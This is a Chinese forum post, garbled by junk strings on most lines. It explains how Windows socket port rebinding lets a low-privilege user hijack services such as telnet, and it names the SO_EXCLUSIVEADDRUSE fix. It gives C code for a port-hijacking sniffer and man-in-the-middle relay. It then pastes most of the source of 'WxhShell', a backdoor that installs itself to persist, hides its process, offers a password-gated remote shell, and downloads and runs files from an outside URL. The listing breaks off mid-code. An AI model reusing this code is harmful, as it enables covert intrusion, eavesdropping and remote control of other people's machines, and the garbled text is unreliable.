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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ji=E 1R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R\iU)QP  
vJYy`k^Y  
  saddr.sin_family = AF_INET; jvW/M.q4  
Od!j+.OY<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;yH/GN#O  
K]RkKMT,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >J4_/p>Qs  
rXA7<_Vg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UlyX$f%2  
$Cte$ jg{;  
  这意味着什么?意味着可以进行如下的攻击: zD?<m J`  
:z.< ||T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JIK;/1  
&D/_@\ 0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *F=w MWa  
2Ddrxc>48  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hF6EOCY6D  
X _XqT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T1Xm^{  
k)4   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~dC^|  
)5B90[M|t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ) ~X\W\  
4rv3D@E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FX\ -Y$K  
i2EB.Zlv  
  #include o#G7gzw)  
  #include .x}ImI  
  #include Dk:Zeo]+my  
  #include    F`'e/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6zyozJA  
  int main() I9_tD@s"(  
  { )PZ'{S  
  WORD wVersionRequested; e KET8v[  
  DWORD ret; Kg9REL@,s  
  WSADATA wsaData; k0%4&pU  
  BOOL val; O0wD"V^W  
  SOCKADDR_IN saddr; }nu hLt1  
  SOCKADDR_IN scaddr; I(pU_7mw  
  int err; P*G&pitT  
  SOCKET s; hb`(d_=7F  
  SOCKET sc; $BCqz! 4K  
  int caddsize; Si!W@Jm  
  HANDLE mt; koe&7\ _@  
  DWORD tid;   \3x,)~m  
  wVersionRequested = MAKEWORD( 2, 2 ); Yk[yG;W  
  err = WSAStartup( wVersionRequested, &wsaData ); 9;kWuP>k4u  
  if ( err != 0 ) { 'R= r9_%  
  printf("error!WSAStartup failed!\n"); -]HO8}-Rjs  
  return -1; haS`V  
  } 6M F%$K3  
  saddr.sin_family = AF_INET; tFXG4+$D  
   Ot5 $~o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W&)O i ZN  
(m})V0/`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3. fIp5g  
  saddr.sin_port = htons(23); zkB_$=sbn#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SxNs  
  { 8 z\WyDz  
  printf("error!socket failed!\n"); cvi+AZ=  
  return -1; q f-1}  
  } ,Epg&)wC]  
  val = TRUE; I 91`~0L*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "@DCQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W.{#Pg1Da  
  { XswEAz0=  
  printf("error!setsockopt failed!\n"); (q*Za  
  return -1; ,:j^EDCsaJ  
  } Gb\}e}TB[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p<tj6O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {6*h';~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 's+ Fd~ '  
TAIcp*)ZM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jy{A1i@4~s  
  { >(p "!  
  ret=GetLastError(); Lr_+) l  
  printf("error!bind failed!\n"); @zW'!Ol  
  return -1; j?#S M!f  
  } e$fxC-sZ  
  listen(s,2); c(i-~_  
  while(1) s9zdg"c'  
  { dyD =R  
  caddsize = sizeof(scaddr); I"y=A7Nq  
  //接受连接请求 OiZPL"Q(K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t :sKvJ  
  if(sc!=INVALID_SOCKET) hBO I:4u[  
  { !Tr +:SM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ' w!o!_T6  
  if(mt==NULL) UeX3cD  
  { kL{2az3"c  
  printf("Thread Creat Failed!\n"); D\bW' k]!  
  break; i` n,{{x&4  
  } rV54-K;`0  
  } C 3b  
  CloseHandle(mt); N_UZu  
  } JstX# z  
  closesocket(s); 6uOR0L  
  WSACleanup(); >n{(2bcFs  
  return 0; 9co1+y=i{  
  }   lmgMR|v  
  DWORD WINAPI ClientThread(LPVOID lpParam) T[*=7jnJQ  
  { 7JQ5OC3  
  SOCKET ss = (SOCKET)lpParam; UXnd~DA  
  SOCKET sc; z{7&=$  
  unsigned char buf[4096]; Y6,< j|  
  SOCKADDR_IN saddr; p (:\)HP)R  
  long num; ;spuBA)[X  
  DWORD val; n(0O'nS^  
  DWORD ret; rX)PN3TD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 25o + ?Y<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^D ;X  
  saddr.sin_family = AF_INET; @_YlHe&W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z ~:S0HDP  
  saddr.sin_port = htons(23); D/"[/!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zm4IN3FGLv  
  { Ul)2A  
  printf("error!socket failed!\n"); S9t_2%e  
  return -1; 1BmevE a)  
  } cL7je  
  val = 100; p9y "0A|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RgZBh04q  
  { &NL=Bd  
  ret = GetLastError(); EL;IrtU  
  return -1; w$u=_  
  } }[SWt3qV1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %F` c Nw]  
  { /#GX4&z  
  ret = GetLastError(); JnlM0jc]`  
  return -1; =;9Wh!{  
  } (>%Ddj6_>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pJ;J>7Gt  
  { k*\WzBTd  
  printf("error!socket connect failed!\n"); !=_:*U)-'  
  closesocket(sc); u I}S9  
  closesocket(ss); m>yk4@a  
  return -1; O&!+ni  
  } =) $a>N  
  while(1) c5+oP j  
  { pej/9{*xg(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'p80X^g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ks(+['*S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .DMeW i  
  num = recv(ss,buf,4096,0); wm}6$n?Za  
  if(num>0) )!SVV~y  
  send(sc,buf,num,0); @0;9.jml,  
  else if(num==0) ;O}%_ef@  
  break; bjmUU6VLT  
  num = recv(sc,buf,4096,0); q&B'peT  
  if(num>0) Xw(e@ :  
  send(ss,buf,num,0); :_~UO^*h  
  else if(num==0) :Ag]^ot  
  break; u-=S_e  
  } >k,bHGj?  
  closesocket(ss); %M2.h;9]*\  
  closesocket(sc); 2l}FOdq  
  return 0 ; $]<CC`  
  } Mc#uWmc 7  
W/<]mm~95  
w}c1zpa  
========================================================== -v'7;L0K  
M`*B/Fh 2  
下边附上一个代码,,WXhSHELL KdHR.;*  
"WdGY*r  
========================================================== bae .?+0[  
Z3<>Z\6D  
#include "stdafx.h" 2`Ub;Nn29  
4_Tx FulX.  
#include <stdio.h> [ dpd-s  
#include <string.h> :DXkAb2  
#include <windows.h> +AhR7R!  
#include <winsock2.h> O8(;=exA  
#include <winsvc.h> I\&..e0l  
#include <urlmon.h> q(M[ij  
.h~M&d!  
#pragma comment (lib, "Ws2_32.lib") 9$c0<~B\  
#pragma comment (lib, "urlmon.lib") P%z\^\p"5  
T^B&GgW  
#define MAX_USER   100 // 最大客户端连接数 }QU9+<Z[r  
#define BUF_SOCK   200 // sock buffer }L^Yoq]  
#define KEY_BUFF   255 // 输入 buffer >"q0"zrN,  
^hv  
#define REBOOT     0   // 重启 .+t{o [  
#define SHUTDOWN   1   // 关机 ^W5rL@h_  
~aQ>DpSEf  
#define DEF_PORT   5000 // 监听端口 6a[D]46y,2  
kSv?p1\@&P  
#define REG_LEN     16   // 注册表键长度 $qYtN`b,  
#define SVC_LEN     80   // NT服务名长度 d/!sHr69  
iT1"Le/N  
// 从dll定义API c[}h( jkP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q:& ,8h[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~Z!xS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1k6f|Al -  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2+M(!FHfy  
*[*LtyCQt4  
// wxhshell配置信息 pg1o@^OuL  
struct WSCFG { MNzq,/Wf  
  int ws_port;         // 监听端口 y:WRpCZoa  
  char ws_passstr[REG_LEN]; // 口令 7}(wEC  
  int ws_autoins;       // 安装标记, 1=yes 0=no B(w k $2  
  char ws_regname[REG_LEN]; // 注册表键名 W"?|OQ'  
  char ws_svcname[REG_LEN]; // 服务名 /6B!& b2f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @a#qq`b;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $IX>o&S@|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QDYS}{A:V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .\= GfF'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9:4PJ%R9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5Al 59]  
O6LZ<}oUR  
}; ;X<#y2`  
7Oe |:Z  
// default Wxhshell configuration mVfg+d(  
struct WSCFG wscfg={DEF_PORT, ]|18tVXc  
    "xuhuanlingzhe", Vh$~]>t:f  
    1, :BKY#uH~  
    "Wxhshell", pXL_`=3Q  
    "Wxhshell", ; 29q  
            "WxhShell Service", rV d(H  
    "Wrsky Windows CmdShell Service", 3Wxl7"!x m  
    "Please Input Your Password: ", b)9bYkd  
  1, wUHuykF  
  "http://www.wrsky.com/wxhshell.exe", `Jhu&MWg  
  "Wxhshell.exe" ~z#Faed=a  
    }; -U)6o"O_CV  
aF2 eGh  
// 消息定义模块 1v!Xx+}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +6@".<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I~y[8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3C 84b/A  
char *msg_ws_ext="\n\rExit."; u6IEBYG ((  
char *msg_ws_end="\n\rQuit."; nF0$  
char *msg_ws_boot="\n\rReboot..."; V9z/yNo  
char *msg_ws_poff="\n\rShutdown..."; 7\@[e, ^9  
char *msg_ws_down="\n\rSave to "; L3lf28W  
6f,#O8]#5  
char *msg_ws_err="\n\rErr!"; /f~ V(DK  
char *msg_ws_ok="\n\rOK!"; 9Xo'U;J  
pm$,B7Q`oO  
char ExeFile[MAX_PATH]; 34_:.QK-  
int nUser = 0; \gaGTc2&  
HANDLE handles[MAX_USER]; 0^nnR7  
int OsIsNt; "^VKs_U8o  
w]X~I/6g  
SERVICE_STATUS       serviceStatus; +Rn]6}5m\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ' Z:FGSwT  
-twV?~f  
// 函数声明 Zm,<2BP>  
int Install(void); )D_#  
int Uninstall(void); Ql&5fyW  
int DownloadFile(char *sURL, SOCKET wsh); }eb}oK  
int Boot(int flag); DcaVT]"  
void HideProc(void); YA9Xe+g  
int GetOsVer(void); 4CVtXi_Y  
int Wxhshell(SOCKET wsl); :pj#t$:!  
void TalkWithClient(void *cs); uq~$HXdc  
int CmdShell(SOCKET sock); &+;z`A'|8  
int StartFromService(void); vggyQf%  
int StartWxhshell(LPSTR lpCmdLine); <gRv7 ?V[z  
^55#!/9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }/q]:3M|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~c~N _b  
W- 5Z"m1I  
// 数据结构和表定义 O`1_eK~1<  
SERVICE_TABLE_ENTRY DispatchTable[] = pe$" nUy|  
{ \)'s6>58|  
{wscfg.ws_svcname, NTServiceMain}, PB00\&6H  
{NULL, NULL} 'bVDmm).  
}; "4"gHs  
d?^bCf+<  
// 自我安装 {eA0I\c(C  
int Install(void) b!Pz~faXD  
{ nylrF"'e  
  char svExeFile[MAX_PATH]; udVEO n$  
  HKEY key; |n3fAN  
  strcpy(svExeFile,ExeFile); oe`t ? (U  
2iC7c6hc  
// 如果是win9x系统,修改注册表设为自启动 k44s V.G4L  
if(!OsIsNt) { L;$Gn"7~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xR `4<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $}RBK'cr}  
  RegCloseKey(key); gBb+Q,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3* C9;Q}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,paD/  
  RegCloseKey(key); L]I ;{Y  
  return 0; !j[Oy r|  
    } h}r64<Y2{  
  } |2w,Np-  
} ,?g}->ZB  
else { 5/4N  Y  
N9@@n:JT  
// 如果是NT以上系统,安装为系统服务 uLXMEx<^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W@U<GF1  
if (schSCManager!=0) `%_yRJd|;  
{ :MPWf4K2s  
  SC_HANDLE schService = CreateService <yzgZXxIaS  
  ( gE2k]`[j]  
  schSCManager, L5$r<t<  
  wscfg.ws_svcname, X:Z4QqT  
  wscfg.ws_svcdisp, ^-Ob($(\  
  SERVICE_ALL_ACCESS, ) Zud|%L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :k9n 9  
  SERVICE_AUTO_START, d Bn/_  
  SERVICE_ERROR_NORMAL, 'Vq_/g!?1  
  svExeFile, x[l_dmq  
  NULL, V ':?rEN|  
  NULL, zzOc # /  
  NULL, B^Y AKbY  
  NULL, 9XtR8MH  
  NULL I- oY@l`  
  ); l]tda(  
  if (schService!=0) CqHCJ '  
  { k$]-fQM  
  CloseServiceHandle(schService); b#\i]2b:  
  CloseServiceHandle(schSCManager); *b#00)d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]M%kt+u!  
  strcat(svExeFile,wscfg.ws_svcname); A/ppr.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RMJq9a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lS<T|:gz@  
  RegCloseKey(key); u.W}{-+kp  
  return 0; d +0(H   
    } _Q&O#f  
  } V`:iu n^f  
  CloseServiceHandle(schSCManager); J*HZ=6L  
} JAPiR=  
} XL!\Lx  
nO-1^HUl  
return 1; $&IF#uDf  
} e$!01Y$HI  
sXe=4`O  
// 自我卸载 7i(U?\A;.  
int Uninstall(void) EVs.'Xg<  
{ i$`OOV=/e  
  HKEY key; "eKNk  
#r{`Iv ?nn  
if(!OsIsNt) { Op''=Ar#sh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =)tU]kp  
  RegDeleteValue(key,wscfg.ws_regname); q6E8^7RtS@  
  RegCloseKey(key); 7bcl^~lY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PEA<H0  
  RegDeleteValue(key,wscfg.ws_regname); 2|a@,TW}-  
  RegCloseKey(key); tR`'( *wh  
  return 0; ;&="aD  
  } }t.J;(ff:  
} Iu(j"b#  
} eYSVAj  
else { N=4`jy =  
QN!.~>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1 /@lZ  
if (schSCManager!=0) }~/u%vI@M5  
{ Wk3R6 V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %A 4F?/E  
  if (schService!=0) +-8u09-F  
  { gN"Abc  
  if(DeleteService(schService)!=0) { 2AN6(k4o  
  CloseServiceHandle(schService); s^O>PEX&<I  
  CloseServiceHandle(schSCManager); E<=h6Ha  
  return 0; C8^=7H EB  
  } `{1` >5  
  CloseServiceHandle(schService); kl4u]MyL#  
  } tzl`|UwF  
  CloseServiceHandle(schSCManager); ,UOAGu<_gb  
} wD9Gl.uQ  
} ~n)gP9Hv  
w?u4-GT  
return 1; H~fX >6>  
} mC-'z  
h7 uv0a~0  
// 从指定url下载文件 N%3 G\|~Q  
int DownloadFile(char *sURL, SOCKET wsh) bBwMx{iNNz  
{ ~lg1S  
  HRESULT hr; <<Zt.!hS  
char seps[]= "/"; J2tD).G  
char *token; ^5BLuN6  
char *file; "0BuQ{CQ  
char myURL[MAX_PATH]; ">$.>sn{  
char myFILE[MAX_PATH]; |q0MM^%"  
[):&R1U  
strcpy(myURL,sURL); ZmT N  
  token=strtok(myURL,seps); s]=bg+v?j  
  while(token!=NULL) M mihWD02  
  { X{8/]'(  
    file=token; |ji={  
  token=strtok(NULL,seps); W.nQYH  
  } NhP&sQO  
fDq`.ZW)s  
GetCurrentDirectory(MAX_PATH,myFILE); c5KJ_Nfi  
strcat(myFILE, "\\"); o>3g<- ul  
strcat(myFILE, file); <OYy ;s  
  send(wsh,myFILE,strlen(myFILE),0); x{=@~c%eh  
send(wsh,"...",3,0); 4KO2oIR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h~\bJ*Zp  
  if(hr==S_OK) ]g}Tqf/N%  
return 0; R9dC$Y]\M  
else P:`tL)W_  
return 1; S`N_},  
|Wo_5|E  
} C}})dL;(  
CBj&8#8Z  
// 系统电源模块 *F ya qJ)  
int Boot(int flag) !21#NCw  
{ ="M7F0k  
  HANDLE hToken; 0O_acO 4  
  TOKEN_PRIVILEGES tkp; \I3={ii0  
]7#@lL;'0  
  if(OsIsNt) { \QpH~&QIS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,{KjVv<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *jAw  
    tkp.PrivilegeCount = 1; vocXk_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {{3n">s}:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fJjtrvNy)  
if(flag==REBOOT) { Gp<7i5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) muD7+rn?&  
  return 0; pONBF3H8  
} )_7OHV *3  
else { z3 zN^ZT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WJB/X"J  
  return 0; >Ei-Spy>Xl  
} #7wOr78  
  } #fF~6wopV  
  else { 6f$h1$$)^  
if(flag==REBOOT) { uTSTBI4t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ao@"j}c  
  return 0; <%@S-+D`]  
} )ifEgBT  
else { 81(.{Y839_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Wb!j18]  
  return 0; d|nJp-%V  
} ?O]iX;2vM  
} _t9@ vVQ  
Sk'S`vH  
return 1; )v4?+$g  
} 4V$DV!dPQ}  
a0s6G3J+9  
// win9x进程隐藏模块 `2 vv8cg^  
void HideProc(void) _A8x{[$  
{ K >-)O=$s  
dc ]+1 A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 01 UEd8  
  if ( hKernel != NULL ) d=q&UCC  
  { Wq4>!|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (|(#W+l~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )^G&p[G  
    FreeLibrary(hKernel); s'4S,  
  } 4bT21J37  
(l|:$%[0  
return; ywPFL/@  
} OS X5S:XS  
v|VfSLZTb  
// 获取操作系统版本 x B%Felz  
int GetOsVer(void) Rh:@@4<  
{ B%|cp+/  
  OSVERSIONINFO winfo; 8T}Ycm5}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M.h)]S>  
  GetVersionEx(&winfo); B{:JD^V!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h4j{44MT  
  return 1; &=seIc>x@  
  else Bt8   
  return 0; aNqhxvwf  
} YW|KkHi*  
F]#rH   
// 客户端句柄模块 {"cS:u  
int Wxhshell(SOCKET wsl) kt.y"^  
{ Cg~GlZk}  
  SOCKET wsh; Z+mesj?.  
  struct sockaddr_in client; #$<7  
  DWORD myID; yK1Z&7>J>  
]5!}S-uJq  
  while(nUser<MAX_USER) %T.4Aj  
{ dkz79G}e  
  int nSize=sizeof(client); GzJ("RE0)v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hkS K;  
  if(wsh==INVALID_SOCKET) return 1; kW'xuZ&  
-^y$RJC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YQB.3  
if(handles[nUser]==0) HzW`j"\  
  closesocket(wsh);  CB<i  
else YKjm_)8]w  
  nUser++; i.0}d5Y  
  } l7{Xy_66  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LX4*3c|i,  
C *\ =Q  
  return 0; Ab]`*h\U  
} wKjL}1.k  
{=(GY@yU/  
// 关闭 socket rtl|zCst  
void CloseIt(SOCKET wsh) PMDx5-{A/t  
{ ]F,mj-?4x  
closesocket(wsh); !'4HUB>+  
nUser--; ?m)3n0Uh  
ExitThread(0); R7/"ye:7J  
} f0 ;Fokt(  
yQ33JQr  
// 客户端请求句柄 @KM !g,f  
void TalkWithClient(void *cs) 3NEbCILF  
{ -y8?"WB(b  
:R/szE*Ak  
  SOCKET wsh=(SOCKET)cs; `|p3@e  
  char pwd[SVC_LEN]; wnf'-dw]  
  char cmd[KEY_BUFF]; B&l5yI b  
char chr[1]; L'1p]Z"  
int i,j; s!\:%N  
)G7")I J/X  
  while (nUser < MAX_USER) { 67Z.aaXD1  
%p5%Fs`sd  
if(wscfg.ws_passstr) { mk)F3[ ke  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %UquF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ail%#E8  
  //ZeroMemory(pwd,KEY_BUFF); v&[Ff|>  
      i=0; 9=(*#gRd  
  while(i<SVC_LEN) { J|DID+M  
3y}0J @  
  // 设置超时 #d+bld\  
  fd_set FdRead; "=7y6bM  
  struct timeval TimeOut; xLfx/&2  
  FD_ZERO(&FdRead); k79" xyXX  
  FD_SET(wsh,&FdRead); ogt<vng  
  TimeOut.tv_sec=8; R %QgOz3`  
  TimeOut.tv_usec=0; P4{8pO]B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l]BIFZ~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]!yuD/4A  
6 ufF34tA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [4V{~`sF  
  pwd=chr[0]; [25[c><:w"  
  if(chr[0]==0xd || chr[0]==0xa) { }L.xt88  
  pwd=0; LwpO_/qV  
  break; DKd:tL24&  
  } SxC   
  i++; Fdgu=qMm  
    } M.|@|If4?  
?Y:>Ouv*z'  
  // 如果是非法用户,关闭 socket 3},0b8};  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 58x=CN\QU  
} $wL zaZL|  
>t-9yO1XQq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {> T r22S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }O_kbPNw  
K{eq'F5M  
while(1) { 6,nws5dh  
{rQ SB;3  
  ZeroMemory(cmd,KEY_BUFF); ]>E)0<t  
D0'L  
      // 自动支持客户端 telnet标准   t5r,3x!E  
  j=0; Fa}3UVm  
  while(j<KEY_BUFF) { M2UF3xD   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jf_xm=n  
  cmd[j]=chr[0];  .;ptgX  
  if(chr[0]==0xa || chr[0]==0xd) { 0PiD<*EA  
  cmd[j]=0; +!dWQ=W  
  break; Qh4@Nl#Ncf  
  } ~x:\xQti  
  j++; ZT*RD2,  
    } DnbT<oEL  
[If%+mHdU  
  // 下载文件 ('H[[YODh  
  if(strstr(cmd,"http://")) { AE1EZ#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (*{Y#XD{  
  if(DownloadFile(cmd,wsh)) {)E)&lL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ao2NwH##  
  else ~>h_#sIBC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,{"%-U#z  
  } )bJS*#  
  else { > /,7j:X  
?P<8Zw  
    switch(cmd[0]) { R>BZQugZ~  
  dso6ZRx  
  // 帮助 _wMc7`6F  
  case '?': { %,HuG-L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]njObU)[zr  
    break; El3Y1g3+3  
  } x|>N   
  // 安装 Q\WH2CK  
  case 'i': { }.j<kmd  
    if(Install()) b`?$;5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oMM+af  
    else ZCdlTdY   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i98>=y~  
    break; zcF`Z {&+  
    } >LvQ&fAo  
  // 卸载 (o+(YV^  
  case 'r': { Q-scL>IkCb  
    if(Uninstall()) $ {Y? jJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NvvaqJ  
    else iUNlNl ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a?_!  
    break; ;+d2qbGd  
    } #$vQT}  
  // 显示 wxhshell 所在路径 f{s}[p~  
  case 'p': { xvx5@lx  
    char svExeFile[MAX_PATH]; K9{]v=#I  
    strcpy(svExeFile,"\n\r"); fk*$}f  
      strcat(svExeFile,ExeFile); !bf8 r  
        send(wsh,svExeFile,strlen(svExeFile),0); qa>Z?/w  
    break; Dt)O60X3>  
    } HF(pC7/a:  
  // 重启 qnFi./  
  case 'b': { 7x 6q:4Ep\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $~$NQe!/  
    if(Boot(REBOOT)) ]/G~ L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x~!gGfP  
    else { nT(Lh/  
    closesocket(wsh); `7.(dn>WL0  
    ExitThread(0); eouxNw}F1  
    } WA~PE` U  
    break; PubO|Mf  
    } ~353x%e'  
  // 关机 adi^*7Q] )  
  case 'd': { R^[b I;  
